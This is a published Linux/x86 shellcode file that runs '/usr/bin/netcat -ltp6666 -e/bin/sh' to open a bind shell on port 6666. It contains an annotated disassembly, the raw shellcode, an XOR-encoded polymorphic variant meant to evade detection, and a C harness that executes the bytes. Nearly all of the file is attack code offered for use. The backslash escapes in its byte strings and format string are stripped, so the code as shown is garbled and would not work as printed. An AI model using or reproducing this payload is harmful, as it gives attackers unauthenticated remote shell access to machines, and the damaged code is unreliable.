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# Title : Linux/x86 - netcat bindshell port 6666 - 69 bytes
# Published : 2011-04-21
# Author :
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/*
** Title:     Linux/x86 - netcat bindshell port 6666 - 69 bytes
** Date:      2011-04-20
** Author:    Jonathan Salwan
**
** http://shell-storm.org
** http://twitter.com/jonathansalwan
**
** /usr/bin/netcat -ltp6666 -e/bin/sh
** 
** 8048054 <.text>:
** 8048054:	31 c0                	xor    %eax,%eax
** 8048056:	50                   	push   %eax
** 8048057:	68 74 63 61 74       	push   $0x74616374
** 804805c:	68 6e 2f 6e 65       	push   $0x656e2f6e
** 8048061:	68 72 2f 62 69       	push   $0x69622f72
** 8048066:	68 2f 2f 75 73       	push   $0x73752f2f
** 804806b:	89 e3                	mov    %esp,%ebx
** 804806d:	50                   	push   %eax
** 804806e:	68 36 36 36 36       	push   $0x36363636
** 8048073:	68 2d 6c 74 70       	push   $0x70746c2d
** 8048078:	89 e2                	mov    %esp,%edx
** 804807a:	50                   	push   %eax
** 804807b:	68 6e 2f 73 68       	push   $0x68732f6e
** 8048080:	68 2f 2f 62 69       	push   $0x69622f2f
** 8048085:	66 68 2d 65          	pushw  $0x652d
** 8048089:	89 e1                	mov    %esp,%ecx
** 804808b:	50                   	push   %eax
** 804808c:	51                   	push   %ecx
** 804808d:	52                   	push   %edx
** 804808e:	53                   	push   %ebx
** 804808f:	89 e6                	mov    %esp,%esi
** 8048091:	b0 0b                	mov    $0xb,%al
** 8048093:	89 f1                	mov    %esi,%ecx
** 8048095:	31 d2                	xor    %edx,%edx
** 8048097:	cd 80                	int    $0x80
**
*/


#include <stdio.h>
#include <string.h>

char SC[] = "x31xc0x50x68x74x63x61x74x68x6ex2f"
            "x6ex65x68x72x2fx62x69x68x2fx2fx75"
            "x73x89xe3x50x68x36x36x36x36x68x2d"
            "x6cx74x70x89xe2x50x68x6ex2fx73x68"
            "x68x2fx2fx62x69x66x68x2dx65x89xe1"
            "x50x51x52x53x89xe6xb0x0bx89xf1x31"
            "xd2xcdx80";


                /*  SC polymorphic - XOR 19 - 93 bytes  */
char SC_ENC[] = "xebx11x5ex31xc9xb1x45x80x74x0e"
                "xffx13x80xe9x01x75xf6xebx05xe8"
                "xeaxffxffxffx22xd3x43x7bx67x70"
                "x72x67x7bx7dx3cx7dx76x7bx61x3c"
                "x71x7ax7bx3cx3cx66x60x9axf0x43"
                "x7bx25x25x25x25x7bx3ex7fx67x63"
                "x9axf1x43x7bx7dx3cx60x7bx7bx3c"
                "x3cx71x7ax75x7bx3ex76x9axf2x43"
                "x42x41x40x9axf5xa3x18x9axe2x22"
                "xc1xdex93";

int main(void)
{
        fprintf(stdout,"Length: %dn",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}